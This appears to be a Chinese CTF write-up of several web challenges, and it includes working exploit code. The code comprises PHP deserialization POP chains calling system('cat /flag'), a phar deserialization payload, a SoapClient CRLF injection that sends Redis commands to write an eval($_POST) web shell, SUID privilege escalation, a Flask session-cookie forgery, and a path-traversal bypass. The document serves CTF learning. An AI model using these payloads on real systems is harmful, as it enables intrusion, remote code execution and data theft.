赞
踩
<?php highlight_file(__FILE__); error_reporting(0); class fine { private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __invoke() { call_user_func($this->cmd, $this->content); } public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); } } class show { public $ctf; public $time = "Two and a half years"; public function __construct($ctf) { $this->ctf = $ctf; } public function __toString() { return $this->ctf->show(); } public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; } } class sorry { private $name; private $password; public $hint = "hint is depend on you"; public $key; public function __construct($name, $password) { $this->name = $name; $this->password = $password; } public function __sleep() { $this->hint = new secret_code(); } public function __get($name) { $name = $this->key; $name(); } public function __destruct() { if ($this->password == $this->name) { echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } } public function getPassword() { return $this->password; } public function setPassword($password): void { $this->password = $password; } } class secret_code { protected $code; public static function secret() { include_once "hint.php"; hint(); } public function __call($name, $arguments) { $num = $name; $this->$num(); } private function show() { return $this->code->secret; } } if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand())); } else { $a = new show("Ctfer"); echo $a->show(); } Ctfer: Duration of practice: Two and a half years
2.找魔术方法(因为我初学记不住),出口函数和入口函数
__construct //初始化
__invoke //将对象调用为函数时触发
__wakeup //反序列化之前
__toString //碰到echo等,将一个对象转化成字符串
__sleep //序列化的时候用
__get //当调用一个未定义的属性时
__call //调用不可访问的方法
尝试一下逆推,大概率利用call_user_func函数进行命令执行,在__invoke里,invoke触发条件在sorry类__get方法的name变量,__get的触发条件调用未定义属性。看看起点,一般是__wakeup __destruct __toString ,__wakeup这里一看就要绕过,__toString调用show,show里面也没啥用。看__destruct(里面有个调用secret_code类中secret()函数,这个函数调用hint()函数,应该在hint.php中,没啥用),然后看到上面有echo $this->hint;echo可以触发show里的__toString方法,刚好hint属性可控,__toString里调用$this->ctf->show();现在就剩__get和__call没有触发了,这里刚好可以触发__get.根据上面的来看,链子就通了。
sorry.__destruct()->show.__toString()->secret_code.show()->sorry.__get()
->fine.__invoke
接下来写exp
<?php class fine { private $cmd="system"; private $content='cat /flag'; } class show { public $ctf; public $time; } class sorry { private $name; private $password; public $hint ; public $key; } class secret_code { public $code; } $a=new sorry(); $b=new fine(); $c=new show(); $d=new secret_code(); $a->hint=$c; $c->ctf=$d; $d->code=new sorry(); $d->code->key=$b; echo urlencode(serialize($a)); ?>
这里注意一下要绕过fine 类的 __wakeup,将属性个数改成大于实际个数就行。
看了个师傅的wp,知道了感觉比较方便的写法,就是写__construct()构造函数
<?php class fine { private $cmd='system'; private $content='cat /flag'; } class show { public $ctf; public $time; public function __construct($ctf) { $this->ctf = $ctf; } } class sorry { private $name; private $password; public $hint; public $key; public function __construct($hint,$key) { $this->hint=$hint; $this->key=$key; } } class secret_code { public $code; public function __construct($code) { $this->code=$code; } } $a = new sorry(new show(new secret_code(new sorry(1,new fine()))),1); echo (serialize($a));
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}
进去是一个登录界面,随便输入都会登录成功。看到一个文件上传点,简单尝试了文件上传绕过,无果。还有一个销毁证据,点了不知道有什么用。重点是cancan need那里,显示文件源码的地方。抓包后可以看到源码以base64的形式显示出来了。
上面那个尝试目录穿越+任意文件读取
按照上面方法可得下面的源码
#index.php部分代码 <?php error_reporting(0); session_start(); include 'class.php'; if(isset($_POST['username']) && $_POST['username']!=''){ #修复了登录还需要passwd的漏洞 $user = new User($_POST['username']); } if($_SESSION['isLogin']){ die("<script>alert('Login success!');location.href='file.php'</script>"); }else{ die(' <form action="index.php" method="post"> <div class="ui input"> <input type="text" name="username" placeholder="Give me uname" maxlength="6"> </div> <form>'); }
看到包含了一个class.php,按照上面的方法读取源码。
#class.php部分代码 <?php class User { public $username; public function __construct($username){ $this->username = $username; $_SESSION['isLogin'] = True; $_SESSION['username'] = $username; } public function __wakeup(){ $cklen = strlen($_SESSION["username"]); if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; } } public function __destruct(){ if ($this->username == '') { session_destroy(); } } } #更新了一个恶意又有趣的Test类 class Test { public $value; public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); } }
可以看到Test类中有一个backdoor函数,里面有system命令执行函数。但是有正则,过滤了字母数字和一些符号。并且 system
无法执行异或、取反、或,且,反序列化后会先执行 __wakeup
再执行 backdoor
,这边的 __wakeup
由于php版本问题无法常规绕过。漏洞影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10
当时做题卡这里了,不知道怎么进行下一步了。看了师傅们的wp,一个非预期解,让value指向一个变量的地址,这样它的值就无法改变了。
在保证 value
不会被改变的情况下,怎么绕过 preg_match
执行 shell
呢?这边又有一个小知识点:**在 linux 中,. ./*
会把当前目录下的所有文件当作 sh 文件执行。**本地测试结果如下
那么如何令value的值等于. ./*,我们可以看到User类中的$username变量可控,username变量就等于我们传入的名字。构造的时候只需要将value的值指向username的地址即可。
<?php class User{ public $username; } class Test { public $value; } $user=new User(); $test=new Test(); $user->username=new Test(); $user->test=$test; $test->value=&$user->username; echo serialize($user); $phar = new Phar("test.phar");//后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($user);//将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test");//添加要压缩的文件 $phar->stopBuffering();//签名自动计算 ?>
这里为什么User类要新增一个test属性去实例化Test类?这个师傅的博客下面的评论里解释了(我也不是很懂):https://blog.csdn.net/trytowritecode/article/details/127513176
我自己也本地测试了一下,没有加下面这行代码运行结果如下
$user->test=$test;
加了之后运行结果如下
可以推测新加的属性是为了让value的属性被引用进来。
将生成的phar文件后缀改成jpg,直接上传,然后通过phar伪协议访问该文件
可以看到根目录直接显示出来了,接下来直接访问flag文件
太菜了没有复现成功,感兴趣的师傅可以参考这篇文章:https://blog.csdn.net/shinygod/article/details/127550670
这题提示为:Redis是世界上最好的数据库!
打开容器,读代码
<?php highlight_file(__FILE__); error_reporting(0); class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; public function __construct($wllm,$arsenetang,$l61q4cheng,$love){ $this->wllm = $wllm; $this->arsenetang = $arsenetang; $this->l61q4cheng = $l61q4cheng; $this->love = $love; } public function newnewnew(){ $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); } public function flag(){ $this->love->getflag(); } public function __destruct(){ $this->newnewnew(); $this->flag(); } } class hint{ public $hint; public function __destruct(){ echo file_get_contents($this-> hint.'hint.php'); } } $hello = $_GET['hello']; $world = unserialize($hello);
发现一个hint.php,写个序列化字符串读一下
<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=hint.php";
}
$a = new hint();
echo serialize($a);
?>
读不出来,开摆~复现的时候发现要用绝对路径
这里重新构造一下
<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=/var/www/html/";
}
$a = new hint();
echo serialize($a);
?>
将源码进行base64解密后如下
<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?>
redis还没学,呜呜呜,只能复现到这里了。下面只是跟着操作了一遍,不太理解原理,原文大佬博客:https://blog.csdn.net/shinygod/article/details/127550670
通过 CRLF 控制请求头,再结合 SoapClient 发起请求写入 shell。
想了解 redis 未经授权访问的移步:https://blog.csdn.net/shinygod/article/details/127034013
第 360 题。
SoapClient 原生类的使用这边就贴一下 Y4 师傅的解释。
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.csdn.net/solitudi/article/details/113588692
poc
<?php class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; public function __construct(){ $this->wllm = 'SoapClient'; $this->l61q4cheng = array( 'user_agent'=>"\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE", 'uri'=>'bbb', 'location'=>'http://127.0.0.1:6379' ); } } echo urlencode(serialize(new swpu()));
传入参数之后,可以直接连蚁剑或者post直接传参,但是查看不了。
可以看到读取不了,看一下env,发现是testflag,也没什么用。
最后用find suid提权
SUID提权:find / -perm -u=s -type f 2>/dev/null > ./1.txt 查看可利用的函数
发现date date -f /hereisflag/flllll111aaagg 可拿flag
复现文章参考于出题人笔记:https://pysnow.cn/archives/566/
考点:
首先有一个登录界面,需要注册,登录,尝试注册admin账号时提示该账号已被使用,随便注册一个admin1的账号进行登录,发现多了几个路由。思考是不是要进行session伪造登录admin的账号。
刚好我知道flask可以进行session伪造,但没实操过。参考文章:https://zhuanlan.zhihu.com/p/394862431
得知需要密钥SECRET_KEY,这题是在flask基础总结里面暴露了密钥。
使用脚本来解密,能正常解出,代表密钥没有问题。脚本地址:https://github.com/noraj/flask-session-cookie-manager
根据上面的格式构造出admin的cookie
将自己的cookie替换成生成的cookie,发现多了一个download的路由
一般ctf中download存在任意文件读取与目录穿越漏洞,可以尝试,发现存在waf,只需要使用.//./
代替../
绕过即可完成目录穿越,首先下载app.py文件
from flask import * import config app = Flask(__name__) app.config.from_object(config) app.secret_key = '7his_1s_my_fav0rite_ke7' from model import * from view import * app.register_blueprint(index, name='index') app.register_blueprint(blog, name='blog') @app.context_processor def login_statue(): username = session.get('username') if username: try: user = User.query.filter(User.username == username).first() if user: return {"username": username, 'name': user.name, 'password': user.password} except Exception as e: return e return {} @app.errorhandler(404) def page_not_found(e): return render_template('404.html'), 404 @app.errorhandler(500) def internal_server_error(e): return render_template('500.html'), 500 if __name__ == '__main__': app.run('0.0.0.0', 80) session.get('username') if username: try: user = User.query.filter(User.username == username).first() if user: return {"username": username, 'name': user.name, 'password': user.password} except Exception as e: return e return {} @app.errorhandler(404) def page_not_found(e): return render_template('404.html'), 404 @app.errorhandler(500) def internal_server_error(e): return render_template('500.html'), 500 if __name__ == '__main__': app.run('0.0.0.0', 80)
后面真看不懂了,我太菜了呜呜呜,Yaml反序列化绕过等后面学习了相关知识点再补充吧~
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。